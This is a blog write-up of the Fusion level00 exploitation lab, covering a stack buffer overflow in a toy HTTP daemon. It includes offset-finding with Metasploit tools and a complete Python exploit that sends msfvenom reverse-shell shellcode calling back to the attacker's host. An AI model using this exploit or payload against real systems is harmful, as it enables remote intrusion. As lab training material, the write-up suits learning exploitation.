Recently I finished the Protostar exploit exercises. I decided to continue and pass the next level, the Fusion, which teaches bypassing the various modern exploitation prevention systems. It has 15 levels, from level00 to level14. This blog post is the first level, which is a simple stack overflow exercise. Level00 does not have any protection.

 

The program opens a TCP port and waits for any request. I analyzed the source code and figured out, that the request should have the following form:

GET middle_path HTTP/1.1

The GET and the HTTP/1.1 are fixed strings. The middle_part can be anything and can have any length. The parse_http_request() function checks the format of the request and calls the fix_path() function. The argument of this function is the middle_part. This function then canonicalize the path and copies the canonicalized path into a buffer. The size of this buffer is 128 byte.

It is obvious, that there is a possible buffer overflow here. It is also obvious, that we have to take care of the canonicalization and the path should not contain space. ‘/’ and space are treated as bad characters.

The program also prints the address of the start of the buffer. We can overwrite the ret address of the fix_path() function with the address of our shellcode. Our shellcode resides somewhere in the middle_path. This address can be calculated.

 

First I determined the location of ret. I created a pattern:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300

Then I created a python script which sends a request with this pattern.

#!/usr/bin/env python

import socket
import struct

IP="172.16.184.163"
PORT=20000


path="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"


# Create client socket and connect to the IP/PORT
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((IP, PORT))

# Send data to the server
s1.send("GET " + path + " HTTP/1.1")

# Receive data from the server
data = s1.recv(2048)
print data

# Close the socket
s1.close()

I started gdb and set follow-fork-mode to child. This is necessary since the level00 is a daemon process and gdb attaches to the parent process by default.

$ sudo gdb /opt/fusion/bin/level00

(gdb) set follow-fork-mode child
(gdb) r

 

I executed the python script. The program crashed:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1840]
0x65413665 in ?? ()
(gdb)

 

I converted the 0x65, 0x36, 0x41, 0x65 to ASCII and calculated the offset

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q e6Ae
[*] Exact match at offset 139

I updated the path in the python script.

path = “A”*139 + “\x42\x42\x42\x42” + “C”*200

I checked the updated python script. I worked as expected.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1858]
0x42424242 in ?? ()

 

When I started the python script, it returned the following:

$ ./level00.py
[debug] buffer is at 0xbffff368 🙂

I decided to place the shellcode after the ret. The starting address of this area can be calculated the following way:

“GET ” -> 4 bytes
“A”*139 -> 139 bytes
“\x42\x42\x42\x42” -> 4 bytes

4 + 139 + 4 = 147

0xbffff368 + 147 = 0xbffff3fb

The updated path variable in the python script:

path = “A”*139 + “\xfb\xf3\xff\xbf” + shellcode

 

I generated a shellcode with msfvenom and added it to the python script. The final solution:

#!/usr/bin/env python

import socket
import struct

IP="172.16.184.163"
PORT=20000


# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.184.1 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
# Found 10 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 95 (iteration=0)
# x86/shikata_ga_nai chosen with final size 95
# Payload size: 95 bytes
# Final size of python file: 470 bytes

buf =  ""
buf += "\xbe\xbb\xc6\x57\x61\xd9\xed\xd9\x74\x24\xf4\x5f\x31"
buf += "\xc9\xb1\x12\x83\xef\xfc\x31\x77\x0e\x03\xcc\xc8\xb5"
buf += "\x94\x03\x0e\xce\xb4\x30\xf3\x62\x51\xb4\x7a\x65\x15"
buf += "\xde\xb1\xe6\xc5\x47\xfa\xd8\x24\xf7\xb3\x5f\x4e\x9f"
buf += "\xef\xb0\x08\x5e\x98\xb2\x68\x71\x04\x3a\x89\xc1\xd2"
buf += "\x6c\x1b\x72\xa8\x8e\x12\x95\x03\x10\x76\x3d\xf2\x3e"
buf += "\x04\xd5\x62\x6e\xc5\x47\x1a\xf9\xfa\xd5\x8f\x70\x1d"
buf += "\x69\x24\x4e\x5e"


path = "A"*139 + "\xfb\xf3\xff\xbf" + buf


# Create client socket and connect to the IP/PORT
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((IP, PORT))

# Send data to the server
s1.send("GET " + path + " HTTP/1.1")

# Receive data from the server
data = s1.recv(2048)
print data

# Close the socket
s1.close()

fusion00_1